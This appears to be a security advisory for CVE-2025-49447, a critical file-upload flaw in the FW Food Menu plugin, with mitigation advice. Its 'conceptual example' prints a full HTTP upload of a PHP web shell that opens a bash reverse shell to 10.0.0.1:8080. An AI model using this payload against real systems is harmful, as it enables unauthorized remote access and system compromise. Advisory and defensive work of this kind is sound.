Overview
CVE-2025-49447 is a critical security vulnerability that has been identified in Fastw3b LLC’s FW Food Menu. This vulnerability allows attackers to upload files with dangerous types, which can potentially compromise the system or lead to data leakage. The vulnerability is of high importance and concern as it affects all versions of FW Food Menu up to 6.0.0. This puts a wide range of websites and system that are using this application at risk, highlighting the immediate need for mitigation and remediation.
Vulnerability Summary
CVE ID: CVE-2025-49447
Severity: Critical (CVSS: 10.0)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage
Affected Products
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Product | Affected Versions
FW Food Menu | All versions up to 6.0.0
How the Exploit Works
The vulnerability stems from FW Food Menu’s failure to properly validate the types of files being uploaded. Attackers can exploit this vulnerability by uploading a file with a dangerous type. This could potentially be a malicious script or executable. Once uploaded, the malicious file can be executed, leading to unauthorized access, system compromise, or data leakage.
Conceptual Example Code
Consider the following example of how the vulnerability might be exploited:
POST /upload HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="malicious.php"
Content-Type: application/x-php
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.1/8080 0>&1'"); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--In this example, the attacker is uploading a PHP file that contains a malicious script. If successfully uploaded and executed, this script would open a reverse shell to the attacker’s machine, granting them unauthorized access to the system.
Mitigation
The best mitigation approach to this vulnerability is to apply the vendor-provided patch. If this is not immediately possible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation. Further, users should consider enforcing strict file validation rules to prevent the uploading of potentially dangerous file types.